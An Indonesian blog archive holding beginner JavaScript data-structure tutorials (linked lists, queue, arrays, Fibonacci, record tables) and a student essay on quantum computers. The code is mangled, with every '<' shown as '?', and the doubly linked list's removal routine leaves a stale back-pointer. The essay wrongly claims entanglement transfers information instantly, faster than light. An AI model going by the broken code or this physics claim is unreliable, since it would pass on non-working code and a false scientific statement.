Mengapa tidak menggunakan VB NET? Ada satu alasan yang masuk akal mengapa tidak menggunakan VB NET untuk aplikasi database kami. Microsoft Access adalah keluarga Microsoft Office dan kami ingin menggunakan objek-objek di dalam Microsoft Office dengan mudah dan cepat. Walaupun VB NET dapat melakukan itu tetapi Microsoft Access dapat dipastikan jauh lebih mudah dan cepat. Untuk saat sekarang Microsoft Access adalah alat favorit kami untuk pembuatan aplikasi database di desktop. Dan bila anda ingin tahu, ASP NET dengan bahasa VB NET adalah alat favorit kami untuk membuat aplikasi database di internet atau intranet.

Mudah-mudahan tulisan kecil ini sedikit memberikan sumbangan pikiran dan sedikit pencerahan. Pendapat ini adalah pendapat pribadi yang mungkin saja bisa salah dan tidak sesuai dengan pendapat pembaca.

Rabu, 27 Mei 2009

DoubleLinkedList

?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}

DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};

if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;

},

ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;

while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}

return NodeTanda.data;
}
else
{
return null;
}
},

Buang: function(index){

if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;

if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}

}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;

}
else
{
return null;
}


},

Ukuran: function(){
return this._Panjang;
},

toArray: function(){
var result = [],
NodeTanda = this._Kepala;

while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}

return result;
},

toString: function(){
return this.toArray().toString();
}
}

var List = new DoublyLinkedList();


List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");


document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");


alert("Isi LinkedList Awal =" + List.ItemList(0));
alert("ItemList 1 pada Linked List diBuang, yaitu = " +List.ItemList(1));
List.Buang(1);



document.write("?br>Isi LinkedList Terakhir ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");

//-->
?/script>
?/body>
?/html>




LinkedList

?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--

function LinkedList()
{
this._panjang = 0;
this._kepala = null;
}

LinkedList.prototype =
{
constructor: LinkedList,

//Membuat Metode untuk Menambah Data Kedalam List
Tambah: function (data)
{
//Membuat Node List
var node = {data: data, next: null}, NodeTanda;

//Periksa Isi List
if (this._kepala === null)
{
this._kepala = node;
}
else
{
NodeTanda = this._kepala;
while (NodeTanda.next)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.next = node;
}
this._panjang++
},


//Membuat metode Untuk Menunjuk Item Data
Item: function (index)
{
if (index > -1 && index ? this._panjang)
{
var NodeTanda = this._kepala,
i = 0;
while (i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},


//Membuat metode Untuk Membuang Elemen List
Buang: function (index)
{
if (index > -1 && index ? this._panjang)
{
var NodeTanda = this._kepala, previous, i = 0;
if (index === 0)
{
this._kepala = NodeTanda.next;
}
else
{
while (i++ ? index)
{
previous = NodeTanda;
NodeTanda = NodeTanda.next;
}

previous.next =NodeTanda.next;
}
this._panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},


//Membuat metode Untuk Mengetahui Jumlah Elemen List
Ukuran: function()
{
return this._panjang;
},


//Membuat metode Untuk Membentuk Array
toArray: function()
{
var result = [],
NodeTanda = this._kepala;

while (NodeTanda)
{
result.push (NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},


//Membuat metode Untuk Konversi ke String
toString: function()
{
return this.toArray().toString();
}

}
var list = new LinkedList ();


list.Tambah("Teknik Informatika");
list.Tambah("Teknik Komputer");
list.Tambah("Komputerisasi Akuntansi");
list.Tambah("Komputer Networking");


document.write("Isi Linked List ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(list.Item(i) + "?br>");
}
document.write("--------------- ?br>");

alert("Isi Linked List Awal =" +list.Item(0));
alert("Item 1 Pada Linked List dibuang, Yaitu =" +list.Item(1));
list.Buang(1);



document.write("Isi Linked List Terakhir ?br>");
document.write("---------------- ?br>");
for (i=0; i?4; i++)
{
document.write(list.Item(i) + "?br>");
}
document.write("---------------- ?br>");

//-->
?/script>
?/body>
?/html>

Rabu, 06 Mei 2009

QUEUE

?html>
?head>
?title>Program Queue dengan unshift javaScript?/title>
?script language="JavaScript">

function DataQueue()
{
var queue = [];
queue.unshift(1);
queue.unshift(2);

var i = queue.shift();
document.write(i + "?br />");
queue.unshift(3);
queue.unshift(4);
var i = queue.shift();
document.write(i + "?br />");
}

?/script>
?/head>

?body>
?form name="FormStrukturData">
?input name="btnQueue" value="Queue" type="button"
onClick="DataQueue();" />
?/form>
?/body>
?/html>

Sabtu, 04 April 2009

ARRAY

Array string
?html>
?head>?title>Belajar Array?/title>?/head>
?body>
?script language = "javascript">
?!--
var DATA_KU = new Array ("Saya","Sedang","Senang");
for (i=0; i?3; i++)
{
document.write(DATA_KU[i] +"?br>");
}
alert ("Selamat Belajar Struktur Data");
alert ("Semoga Memperoleh Ilmu Yang Bermanfaat");
//-->
?/script>
?/body>
?/html>

hasil setelah dirunning

Saya Sedang Senang

TYPE DATA

Penambahan dan Perkalian bilangan
?html>
?head>
?title>Type Bilangan?/title>
?/head>
?body>?script language = "javascript">
?!-- var a=15; b=14;
tambah = a + b; kali = a * b;
document.write ("Penambahan ("+a+" + "+b+") = "+tambah);
document.write ("?br>");
document.write ("Perkalian ("+a+" X "+b+") = "+kali);
document.write ("?br>");
//-->
?/script>
?/body>
?/html>

hasilnya sebagai berikut

Penambahan (15 + 14) = 29
Perkalian (15 X 14) = 210

PENJUMLAHAN DAN MENGETAHUI TYPE DATA

Penjumlahan dan mengetahui type data
?html>
?head>
?title>membuat fungsi matematika dengan javascript?/title>?/head>
?body>
?script language = "javascript">
?!--
function jumlah(x,y)
{
var hasil = x + y; return (hasil);
}
var a = parseInt (prompt ("ketikan Bilangan A = \n Ingat jangan String"));
var b = parseInt (prompt ("ketikan Bilangan B = \n Ingat jangan String"));
var z = jumlah(a,b);
document.write (z); document.write ("?br>");
document.write ("?hr>");
document.write ("Tipe data-nya adalah = " + typeof (z));
//-->?/script>
?/body>
?/html>

hasil outputnya adalah sebagai berikut

25 // hasil penjumlahannya
Tipe data-nya adalah = number

KONVERSI BILANGAN

Konversi Bilangan
?html>
?head>
?title>konversi antar sistem bilangan?/title>
?/head>
?body>?script language = "javascript">
?!--
var bil = new Number(25);
document.write ("bilangan Desimal : " +bil + "?br>");
document.write ("?hr>");
document.write ("Biner : " + bil.toString (2)+ "?br>");
document.write ("Oktal : " + bil.toString (8)+ "?br>");
document.write ("Heksa : " + bil.toString (16)+ "?br>");
//-->
?/script>
?/body>
?/html>

hasil outputnya adalah sebagai berikut

bilangan Desimal : 25
Biner : 11001
Oktal : 31
Heksa : 19

MENAMBAHKAN DUA BUAH BILANGAN

Menambahkan dua bilangan
?html>
?head>?title>Type Bilangan?/title>?/head>
?body>
?script language = "javascript">
?!--
var
a=15;
b=14;
tambah = a + b;
kali = a * b;
document.write ("Penambahan ("+a+" + "+b+") = "+tambah);
document.write ("?br>");
document.write ("Perkalian ("+a+" X "+b+") = "+kali);
document.write ("?br>");
//-->
?/script>
?/body>
?/html>

hasil outputnya akan muncul sebagai berikut

Penambahan (15 + 14) = 29
Perkalian (15 X 14) = 210

FIBONACCI

?html>
?head>?title>Deret Fibonacci?/title>?/head>
?body>
?script language = "javascript">
?!--
function fibonacci(n)
{
var i;
var array_fib = new Array();
array_fib.push(0);
array_fib.push(1);
for (i=0; i?n; i++)
{
array_fib.push(array_fib[0]+array_fib[1]);
array_fib.shift();
}
return array_fib[0];
}
for (i=0; i?=20; i++)
document.write("Fibonacci ("+i+")="+fibonacci(i) +"?br>");
//-->
?/script>
?/body>
?/html>

hasil setelah program dirunning adalah sebagai berikut :
Fibonacci (0)=0
Fibonacci (1)=1
Fibonacci (2)=1
Fibonacci (3)=2
Fibonacci (4)=3
Fibonacci (5)=5
Fibonacci (6)=8
Fibonacci (7)=13
Fibonacci (8)=21
Fibonacci (9)=34
Fibonacci (10)=55
Fibonacci (11)=89
Fibonacci (12)=144
Fibonacci (13)=233
Fibonacci (14)=377
Fibonacci (15)=610
Fibonacci (16)=987
Fibonacci (17)=1597
Fibonacci (18)=2584
Fibonacci (19)=4181
Fibonacci (20)=6765

DATA GAJI

?html>
?head>?title>Memanipulasi Data Pegawai?/title>?head>
?script language = "javascript" type="text/javascript">
?!--
var DBPegawai = new Array();
function Pegawai(Fields_NIP,Fields_Nama,Fields_Gaji_Per_Jam,Fields_Jam_Kerja,Fields_Gaji_Total)
{
this.NIP = Fields_NIP;
this.Nama = Fields_Nama;
this.Gaji_Jam = Fields_Gaji_Per_Jam;
this.Jam_Kerja = Fields_Jam_Kerja;
this.Gaji_Total = Fields_Gaji_Total;
}
function inputPegawai()
{
var Nama,Gaji_Per_Jam, Jam_Kerja, Gaji;
while ( NIP = window.prompt("Ketikan NIP (Nomor Induk Pegawai)\n Click 'cancel' untuk Berhenti !!."))
{
Nama = window.prompt ("Nama Pegawai :");
Gaji_Per_Jam = parseInt (window.prompt ("Gaji Per Jam :"));
Jam_Kerja = parseInt (window.prompt ("Jumlah Jam Kerja :"));
Gaji = Gaji_Per_Jam*Jam_Kerja;
alert ("Apakah anda mau menambah data lagi..??\n Jika 'YA' tekan 'OK' kemudian isi data\n Jika 'TIDAK' tekan 'OK' kemudian tekan 'Cancel'");
DBPegawai [DBPegawai.length]=new Pegawai(NIP,Nama,Gaji_Per_Jam,Jam_Kerja,Gaji);
}
ShowPegawai();
}
function ShowPegawai()
{
document.write("?table border='1'>"+ "?tr>"+ "?th>NIP?/th>?th>Nama?/th>?th>Gaji Per Jam?/th>?th>Jam Kerja?/th>"+ "?th>Gaji Total?/th>"+ "?/tr>");
for (i=0; i?DBPegawai.length; i++)
{
document.write("?tr>"+ " ?td>" + DBPegawai[i].NIP + "?/td>"+ " ?td>" + DBPegawai[i].Nama + "?/td>" + " ?td align='right'>" + DBPegawai[i].Gaji_Jam + "?/td>" + " ?td align='right'>" + DBPegawai[i].Jam_Kerja + "?/td>" + " ?td align='right'>" + DBPegawai[i].Gaji_Total + "?/td>" + " ?/tr>");
}
document.write ("?/table>");
}
//-->
?/script>
?/head>
?body onload ="inputPegawai();">
?/body>
?/html>

STRUKTUR DATA

?html>
?head>?title>Membuat Rekaman Objek?/title>?/head>
?body>
?script language = "javascript">
?!--
var Record = new Array();

function Mahasiswa (npm, nama, prodi, jenjang)
{//properti
this.npm = npm;
this.nama = nama;
this.prodi = prodi;
this.jenjang = jenjang;

//Metode
this.LihatRecordMahasiswa = LihatRecordMahasiswa;

}
function LihatRecordMahasiswa()

{
document.write("?td>" +this.npm+ "?/td>");
document.write("?td>" +this.nama+ "?/td>");
document.write("?td>" +this.prodi+ "?/td>");
document.write("?td>" +this.jenjang+ "?/td>");
}
//Mengisi data
Record[0]=new Mahasiswa("0001","Dani","TI","SI");
Record[1]=new Mahasiswa("0002","Doni","TK","D3");
Record[2]=new Mahasiswa("0003","Dina","SI","SI");
Record[3]=new Mahasiswa("0004","Dini","KA","D3");
//Menampilkan Data

document.write("?table border='1'>");
document.write("?th>npm?/th>?th>nama?/th>");
document.write("?th>prodi?/th>?th>jenjang?/th>?br>");
for (i=0; i ? Record.length; i++)

{
document.write("?tr>");
Record[i].LihatRecordMahasiswa();
document.write("?/tr>");
}
document.write("?/table>?br>");
//-->

?/script>
?/body>
?/html>


hasilnya sebagai berikut

Selasa, 27 Januari 2009

Tugas Fisika

Komputer Kuantum
Komputer Masa Depan



A.Teknologi Komputer

Teknologi komputer merupakan salah satu teknologi yang paling cepat mengalami perkembangan dan kemajuan. Komputer-komputer yang ada saat ini sudah mencapai kemampuan yang sangat mengagumkan. Tetapi kedahsyatan komputer tercanggih yang ada saat ini pun masih belum bisa memuaskan keinginan manusia yang bermimpi untuk membuat sebuah Supercomputer yang benar-benar memiliki kecepatan super. Komputer yang nantinya layak untuk benar-benar disebut sebagai Komputer Super ini adalah Komputer Kuantum. Teori tentang komputer kuantum ini pertama kali dicetuskan oleh fisikawan dari Argonne National Laboratory sekitar 20 tahun lalu. Paul Benioff merupakan orang pertama yang mengaplikasikan teori fisika kuantum pada dunia komputer di tahun1981.


0 = 0
1 = 1
2 = 10
3 = 11
4 = 100
5 = 101
6 = 110
7 = 111
8 = 1000
9 = 1001

10 = 1010
11 = 1011
12 = 1100
13 = 1101
14 = 1110
15 = 1111
16 = 10000
17 = 10001

Kalau kita ingin menghitung angka apa yang dilambangkan oleh 101001 caranya sebagai berikut (menggunakan sistem 2n):
(1 x 25) + (0 x 24) + (1 x 23) + (0 x 22) + (0 x 21) + (1 x 20) = 32 + 0 + 8 + 0+ 0 +1 = 41.
Contoh perhitungan penjumlahan matematika menggunakan sistem binary:



10 1010
23 + __________ 10111 +
33 100001


Sistem inilah yang selama ini kita gunakan saat kita mengolah informasi menggunakan komputer. Quantum Computer atau komputer kuantum memanfaatkan fenomena ‘aneh’ yang disebut sebagai superposisi. Dalam mekanika kuantum, suatu partikel bisa berada dalam dua keadaan sekaligus. Inilahyang disebut keadaan superposisi. Dalam komputer kuantum, selain 0 dan 1 dikenal pula superposisi dari keduanya. Ini berarti keadaannya bisa berupa 0 dan1, bukan hanya 0 atau 1 seperti di komputer digital biasa. Komputer kuantum tidak menggunakan Bits tetapi QUBITS (Quantum Bits). Karena kemampuannya untuk berada di bermacam keadaan (multiple states), komputer kuantum memiliki potensi untuk melaksanakan berbagai perhitungan secara simultan sehingga jauh lebih cepat dari komputer digital.


B. Komputer Kuantum

Komputer kuantum menggunakan partikel yang bisa berada dalam dua keadaan sekaligus, misalnya atom-atom yang pada saat yang sama berada dalam keadaan tereksitasi dan tidak tereksitasi, atau foton (partikel cahaya) yang berada di dua tempat berbeda pada saat bersamaan. Apa maksudnya ini?

Atom memiliki konfigurasi spin. Spin atom bisa ke atas (up), bisa pula ke bawah (down). Misalnya saat spin atom mengarah ke atas (up) kita beri lambang 1, sedangkan spin down adalah 0 (seperti dalam sistem binary di komputer digital). Atom-atom berada dalam keadaan superposisi (memiliki spin up dan down secara bersamaan) sampai kita melakukan pengukuran. Tindakan pengukuran memaksa atom untuk ‘memilih’ salah satu dari kedua kemungkinan itu. Ini berarti sesudah kita melakukan pengukuran, atom tidak lagi berada dalam keadaan superposisi. Atom yang sudah mengalami pengukuran memiliki spin yang tetap: up atau down.

Saat konsep ini diterapkan dalam komputer kuantum, keadaan superposisi terjadi pada saat proses perhitungan sedang berlangsung. Sistem perhitungan pada komputer kuantum ini berbeda dengan komputer digital. Komputer digital melakukan perhitungan secara linier, sedangkan komputer kuantum melakukan semua perhitungan secara bersamaan (karena ada multiple states semua perhitungan dapat berlangsung secara simultan di semua state). Ini berarti ada banyak kemungkinan hasil perhitungan. Untuk mengetahui jawabannya (hasil perhitungannya) kita harus melakukan pengukuran qubit. Tindakan pengukuran qubit ini menghentikan proses perhitungan dan memaksa sistem untuk ‘memilih’ salah satu dari semua kemungkinan jawaban yang ada.

Dengan sistem paralelisme perhitungan ini, kita bisa membayangkan betapa cepatnya komputer kuantum. Komputer digital yang paling canggih saat ini(setara dengan komputer kuantum 40 qubit) memiliki kemampuan untuk mengolah semua data dalam buku telepon di seluruh dunia (untuk menemukan satu nomor telepon tertentu) dalam waktu satu bulan. Jika menggunakan komputer kuantum proses ini hanya memerlukan waktu 27 menit!

Ada satu fenomena ‘aneh’ lain dari mekanika kuantum yang juga dimanfaatkan dalam teknologi komputer kuantum: Entanglement. Jika dua atom mendapatkan gaya tertentu (outside force) kedua atom tersebut bisa masuk pada keadaan ‘entangled’. Atom-atom yang saling terhubungkan dalam entanglement ini akan tetap terhubungkan walaupun jaraknya berjauhan. Analoginya adalah atom-atom tersebut seperti sepasang manusia yang punya ‘telepati’. Jika yang satu dicubit, maka pasangannya (di mana pun ia berada) akan merasa sakit. Perlakuan terhadap salah satu atom mempengaruhi keadaan atom pasangannya. Jika yang satu memiliki spin up (kita baru bisa mengetahuinya setelah melakukan pengukuran) maka kita langsung mengetahui bahwa pasangannya pasti memiliki spin down tanpa kita perlu mengukurnya kembali. Ini melambangkan sistem komunikasi yang super cepat. Komunikasi menggunakan komputer kuantum bisa mencapai kecepatan yang begitu luar biasa karena informasi dari satu tempat ketempat lain dapat ditransfer secara instant. Begitu cepatnya sehingga terlihat seakan-akan mengalahkan kecepatan cahaya!


Saat ini perkembangan teknologi sudah menghasilkan komputer kuantum sampai 7 qubit, tetapi menurut penelitian dan analisa yang ada, dalam beberapa tahun mendatang teknologi komputer kuantum bisa mencapai 100 qubit. Kita bisa membayangkan betapa cepatnya komputer masa depan nanti. Semua perhitungan yang biasanya butuh waktu berbulan-bulan, bertahun-tahun, bahkan berabad-abad pada akhirnya bisa dilaksanakan hanya dalam hitungan menit saja jika kita menggunakan komputer kuantum yang super canggih dan super cepat itu.

Di masa mendatang kita akan menggunakan komputer yang tidak lagi tersusun dari transistor-transistor mini seperti sekarang, Komputer kuantum tidak lagi memerlukan chip komputer yang semakin lama semakin padat karena semakin berlipatgandanya jumlah transistor yang dibutuhkan untuk meningkatkan kinerja komputer. Komputer masa depan justru dipenuhi oleh cairan organik sebagai ‘jantung’nya. Cairan organik ini mengandung atom-atom/partikel-partikel yang bisa berada dalam keadaan superposisi tersebut. Ini berarti, kita benar-benar memanfaatkan zat organik alami untuk menjadi ‘kalkulator’ canggih karena ternyata cairan organik dari alam memiliki bakat berhitung!



Gambar1 Sistem komputer masa depan



Daftar Pustaka:
www.wikipedia.com